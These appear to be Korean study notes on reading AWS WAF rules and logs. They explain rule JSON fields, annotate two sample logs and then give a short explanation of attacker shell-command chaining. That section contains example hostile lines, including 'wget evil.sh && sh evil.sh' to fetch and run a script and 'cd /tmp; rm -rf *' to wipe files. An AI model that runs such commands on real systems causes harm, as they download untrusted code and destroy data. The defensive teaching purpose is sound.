West_Cold

https://eatitstory.tistory.com/113

https://eatitstory.tistory.com/116

https://eatitstory.tistory.com/117

https://eatitstory.tistory.com/135

https://eatitstory.tistory.com/136

https://eatitstory.tistory.com/137

https://eatitstory.tistory.com/141

https://eatitstory.tistory.com/144

http://eatitstory.tistory.com/145

AWS WAF의 JSON 규칙은 몇 가지 핵심적인 용어로 구성되어 있습니다. 이 용어들을 'IF... THEN...' (만약 ~하면, ~하라) 구조로 이해하면 쉽습니다.

가장 중요한 용어들을 구조에 따라 정리해 드리겠습니다.

## 1. Rule (규칙) - 최상위 구조

규칙은 WAF의 가장 큰 단위입니다. 웹 ACL(Web Access Control List)은 여러 규칙들의 모음입니다.

• Name: 규칙의 고유한 이름입니다. (예: Block-Bad-Bots)
• Priority: 규칙의 실행 순서를 결정하는 숫자입니다. 숫자가 낮을수록 먼저 실행됩니다. 예를 들어, Priority가 0인 규칙이 10인 규칙보다 먼저 검사됩니다.
• Statement: 이 규칙이 무엇을 검사할 것인지 정의하는 "IF" 조건문입니다.
• Action: Statement의 조건이 참(True)일 때 무엇을 할지 결정하는 "THEN" 동작입니다.
• VisibilityConfig: 이 규칙이 탐지되었을 때 CloudWatch 메트릭에 어떻게 표시하고 로그를 남길지 설정합니다.

{
  "Name": "My-Custom-Rule",
  "Priority": 10,
  "Statement": { ... },
  "Action": { ... },
  "VisibilityConfig": { ... }
}

## 2. Statement (조건문) - "IF"

Statement는 규칙의 핵심 두뇌로, 어떤 트래픽을 찾을지 정의하는 부분입니다. 여러 조건을 조합할 수도 있습니다.

### A. 개별 조건문 (어떤 공격을 찾을까?)

• ByteMatchStatement: 특정 문자열이나 바이트 순서가 있는지 검사합니다. (예: Body에 <script> 문자열이 포함되어 있는지)
• SqliMatchStatement: SQL Injection 공격 패턴이 있는지 검사합니다.
• XssMatchStatement: Cross-Site Scripting (XSS) 공격 패턴이 있는지 검사합니다.
• SizeConstraintStatement: 요청의 특정 부분(예: Body)이 지정된 크기보다 크거나 작은지 검사합니다.
• GeoMatchStatement: 요청이 특정 국가에서 왔는지 검사합니다. (예: CountryCodes: ["CN", "RU"])
• IPSetReferenceStatement: 미리 정의해 둔 IP 주소 집합(IP Set)에서 요청이 왔는지 검사합니다.
• RuleGroupReferenceStatement: AWS가 미리 만들어 둔 관리형 규칙 그룹(예: AWSManagedRulesCommonRuleSet)을 가져와 사용합니다.

### B. 논리 조건문 (조건들을 어떻게 조합할까?)

• AndStatement: 내부에 있는 모든 조건이 참이어야 전체가 참이 됩니다. (A AND B)
• OrStatement: 내부에 있는 조건 중 하나라도 참이면 전체가 참이 됩니다. (A OR B)
• NotStatement: 내부의 조건이 참이면 거짓으로, 거짓이면 참으로 결과를 뒤집습니다. (NOT A)

## 3. FieldToMatch (검사할 대상) - "WHERE"

대부분의 개별 조건문 안에는 FieldToMatch가 들어갑니다. 이것은 요청의 **'어디'**를 검사할지 지정하는 역할을 합니다.

• Body: 요청의 Body (기본 8KB)
• UriPath: URL의 경로 부분 (예: /login.php)
• QueryString: URL에서 ? 뒷부분 (예: id=1234)
• Method: HTTP 메서드 (예: GET, POST)
• SingleHeader: 특정 헤더 하나를 지정하여 검사합니다. (예: User-Agent 헤더)

예시: Body에서 XSS 공격 패턴을 찾는 Statement

"Statement": {
  "XssMatchStatement": {
    "FieldToMatch": {
      "Body": {}
    },
    "TextTransformations": [...]
  }
}

## 4. Action (수행할 동작) - "THEN"

Statement 조건이 참일 때 수행할 최종 동작입니다.

• Block: 요청을 차단하고, 클라이언트에게 403 Forbidden 응답을 보냅니다.
• Allow: 요청을 허용하고, 더 낮은 우선순위의 다른 규칙들을 검사하지 않습니다. (예외 처리 시 사용)
• Count: 요청을 차단하지는 않고 탐지 횟수만 계산합니다. 모니터링하거나 다른 규칙과 조합할 때 사용합니다.
• Captcha / Challenge: 봇인지 확인하기 위해 클라이언트에게 CAPTCHA나 JavaScript 챌린지를 보냅니다.

로그

예시: COUNT 규칙이 동작한 WAF 로그

{
  "timestamp": 1757395200000,
  "webaclId": "arn:aws:wafv2:ap-northeast-2:123456789012:regional/webacl/My-WebACL/...",
  "httpRequest": {
    "clientIp": "10.20.30.40",
    "country": "DE",
    "headers": [
      {
        "name": "Host",
        "value": "example.com"
      },
      {
        "name": "User-Agent",
        "value": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0"
      }
    ],
    "uri": "/",
    "args": "",
    "httpMethod": "GET"
  },
  "action": "ALLOW",
  "ruleGroupList": [
    {
      "ruleGroupId": "AWS#AWSManagedRulesAmazonIpReputationList",
      "terminatingRule": null,
      "nonTerminatingMatchingRules": [
        {
          "ruleId": "AWSManagedIPDDoSList",
          "action": "COUNT",
          "ruleMatchDetails": null
        }
      ],
      "excludedRules": null
    },
    {
      "ruleGroupId": "AWS#AWSManagedRulesCommonRuleSet",
      "terminatingRule": null,
      "nonTerminatingMatchingRules": [],
      "excludedRules": null
    }
  ],
  "labels": [
    {
      "name": "awswaf:managed:aws:amazon-ip-list:AWSManagedIPDDoSList"
    }
  ],
  "responseCodeSent": 200
}

## 로그 해설

### 1. 기본 정보 (최종 결론)

• "action": "ALLOW": 이 요청에 대한 WAF의 **최종 결정은 '허용'**이었습니다. 어떤 규칙도 이 요청을 막지 않았습니다.

### 2. httpRequest (원본 요청)

• 독일(country: "DE")의 10.20.30.40 IP에서 파이어폭스 브라우저로 메인 페이지(/)에 접속하는 지극히 정상적인 요청입니다.

### 3. ruleGroupList (규칙 그룹 처리 내역)

• AWS#AWSManagedRulesCommonRuleSet 그룹:
  • terminatingRule이 null이고 nonTerminatingMatchingRules가 비어있습니다. 즉, 이 그룹의 어떤 규칙과도 일치하지 않았습니다.
• AWS#AWSManagedRulesAmazonIpReputationList 그룹 (⭐핵심⭐):
  • terminatingRule이 null입니다. 즉, 이 그룹 안에 요청을 BLOCK 시키는 규칙은 없었습니다.
  • nonTerminatingMatchingRules: 이 부분이 바로 **nonTerminatingMatchingRules**의 역할입니다. 이 규칙 그룹에는 BLOCK이나 ALLOW처럼 요청을 중단시키는 규칙은 없었지만(terminatingRule: null), 동작이 COUNT로 설정된 AWSManagedIPDDoSList 규칙과 일치했다는 것을 보여줍니다.
    • 의미: "이 IP(10.20.30.40)는 과거 DDoS 공격 이력이 있으니 일단 기록(COUNT)은 해두지만, 이것만으로는 차단하지 않고 다음 규칙 검사를 계속 진행해" 라는 뜻입니다.

### 4. labels (적용된 레이블)

• 요청이 최종적으로 허용되었음에도 불구하고, COUNT 규칙에 의해 'DDoS 관련 IP'라는 꼬리표(awswaf:managed:aws:amazon-ip-list:AWSManagedIPDDoSList)가 붙었습니다.
• 분석가는 SIEM에서 이 레이블을 검색하여 "우리 사이트에는 위험 IP 목록에 있는 사용자가 하루에 몇 명이나 들어올까?" 와 같은 통계를 낼 수 있습니다.

## 이야기로 요약

"2025년 9월 9일, 독일(DE)의 한 IP(10.20.30.40)가 Firefox 브라우저로 메인 페이지(/)에 정상적인 GET 요청을 보냈습니다. 이 IP는 AWS의 DDoS 공격 이력 목록(AWSManagedIPDDoSList)에 포함되어 있었기 때문에, WAF는 이 사실을 기록(nonTerminatingMatchingRules)하고 꼬리표(label)를 붙였습니다. 하지만 이 규칙의 동작은 COUNT였고 다른 차단 규칙에 걸리지 않았으므로, 요청은 **최종적으로 허용(ALLOW)**되었습니다."

{
  "timestamp": 1757398800000,
  "webaclId": "arn:aws:wafv2:ap-northeast-2:123456789012:regional/webacl/My-WebACL/...",
  "httpRequest": {
    "clientIp": "185.92.220.50",
    "country": "NL",
    "headers": [
      {
        "name": "Host",
        "value": "example.com"
      },
      {
        "name": "User-Agent",
        "value": "python-requests/2.25.1"
      },
      {
        "name": "Content-Type",
        "value": "multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"
      }
    ],
    "uri": "/board/upload.php",
    "args": "",
    "httpMethod": "POST"
  },
  "action": "BLOCK",
  "ruleGroupList": [
    {
      "ruleGroupId": "AWS#AWSManagedRulesPHPRuleSet",
      "terminatingRule": {
        "ruleId": "PHP_GenericUpload_FILENAME",
        "action": "BLOCK",
        "ruleMatchDetails": null
      },
      "nonTerminatingMatchingRules": [],
      "excludedRules": null
    }
  ],
  "labels": [
    {
      "name": "awswaf:managed:aws:php-rule-set:PHP_GenericUpload_FILENAME"
    }
  ],
  "responseCodeSent": 403
}

로그 보는 법

## 공격에 사용되는 핵심 리눅스 쉘 명령어

### 1. 파일 및 디렉토리 조작

### 2. 파일 다운로드 및 네트워크

### 3. 명령어 실행 및 권한 변경

### 4. 정보 수집 및 흔적 제거

## 명령어 연결 기호 (Command Chaining)

공격자들은 이 명령어들을 그냥 하나씩 실행하지 않고, 아래와 같은 연결 기호를 사용해 한 줄의 명령으로 여러 작업을 동시에 수행합니다.

• ; (세미콜론): 앞선 명령의 성공/실패 여부와 상관없이 다음 명령을 실행합니다.
  • 예: cd /tmp; rm -rf * (tmp로 이동하고, 성공 여부와 관계없이 모든 파일을 삭제하라)
• && (AND): 앞선 명령이 성공했을 경우에만 다음 명령을 실행합니다.
  • 예: wget evil.sh && sh evil.sh (다운로드가 성공했을 때만, 스크립트를 실행하라)
• || (OR): 앞선 명령이 실패했을 경우에만 다음 명령을 실행합니다.
  • 예: cd /tmp || cd /var/run (tmp로 이동을 시도하고, 만약 실패하면 /var/run으로 이동하라)

## 왜 리눅스 명령어인가?

1. 압도적인 서버 점유율: 현재 전 세계 웹 서버의 대부분은 Ubuntu, CentOS, Debian 등 리눅스 기반의 운영체제(OS) 위에서 동작합니다. 공격자들은 공격 성공률을 높이기 위해 가장 널리 쓰이는 환경을 기본 목표로 삼습니다.
2. 표준화된 명령어: cd, rm 등은 거의 모든 리눅스/유닉스 시스템에 기본적으로 포함된 표준 명령어입니다. 따라서 공격자는 서버의 종류와 상관없이 이 명령어들이 존재할 것이라고 확신하고 공격 스크립트를 만들 수 있습니다.

## 윈도우 서버의 경우는?

만약 공격 대상이 윈도우 서버(Windows Server)라면, 공격자는 완전히 다른 종류의 명령어를 사용합니다. 리눅스의 sh나 bash 쉘 대신, 윈도우의 **cmd.exe**나 더 강력한 **PowerShell**을 이용한 공격을 시도합니다.

리눅스가 서버 시장을 장악한 이유는 크게 비용, 성능과 안정성, 그리고 오픈소스의 유연성이라는 세 가지 핵심 요소 때문입니다.

## 1. 비용: 압도적인 가격 경쟁력 💰

가장 큰 이유 중 하나는 무료라는 점입니다. 리눅스 커널과 그 생태계를 구성하는 대부분의 소프트웨어는 오픈소스 라이선스에 따라 무료로 사용할 수 있습니다.

• 리눅스: 운영체제(OS) 자체에 대한 라이선스 비용이 없습니다.
• 윈도우 서버: OS 라이선스 비용뿐만 아니라, 서버에 접속하는 사용자나 기기 수에 따라 추가적인 라이선스(CAL) 비용이 발생할 수 있습니다.

수백, 수천 대의 서버를 운영하는 기업 입장에서는 이 비용 차이가 엄청나기 때문에, 특별한 이유(예: .NET 프레임워크 사용)가 없는 한 리눅스를 선택하는 것이 경제적으로 훨씬 유리합니다.

## 2. 성능과 안정성: 가볍고 튼튼함 ⚙️

리눅스는 서버 운영에 최적화된 가볍고 안정적인 구조를 가지고 있습니다.

• 가벼운 성능: 리눅스 서버는 그래픽 사용자 인터페이스(GUI) 없이 **커맨드 라인(CLI)**만으로 모든 작업을 수행할 수 있습니다. 이는 최소한의 메모리(RAM)와 CPU 자원만 사용하므로, 남는 자원을 모두 웹 서비스나 데이터베이스 같은 실제 애플리케이션에 집중시킬 수 있습니다.
• 높은 안정성: 리눅스는 "한번 켜두면 몇 년은 재부팅할 필요가 없다"는 말이 있을 정도로 매우 안정적입니다. 24시간 365일 중단 없이 운영되어야 하는 서버 환경에 가장 적합한 특징입니다.

## 3. 오픈소스의 유연성과 자유 🎨

소스 코드가 공개되어 있다는 점은 기업에게 강력한 장점을 제공합니다.

• 자유로운 맞춤화(Customization): 누구나 소스 코드를 보고 수정할 수 있으므로, 우리 회사 서비스에 맞게 OS의 특정 기능을 빼거나, 성능을 최적화하거나, 새로운 기능을 추가하는 등 자유로운 맞춤화가 가능합니다. 이는 소스 코드가 닫혀있는 윈도우에서는 불가능한 일입니다.
• 강력한 생태계: 전 세계 수많은 개발자들이 참여하는 거대한 커뮤니티가 존재합니다. 덕분에 보안 취약점이 발견되면 매우 빠르게 패치가 이루어지며, 웹 서버(Apache, Nginx), 데이터베이스(MySQL), 프로그래밍 언어(PHP, Python) 등 서버 운영에 필요한 거의 모든 소프트웨어를 무료로 사용할 수 있는 강력한 생태계가 구축되어 있습니다.

이러한 이유들이 복합적으로 작용하여, 특히 웹 서버와 클라우드 컴퓨팅 시대가 열리면서 리눅스는 서버 시장의 표준으로 자리 잡게 되었습니다.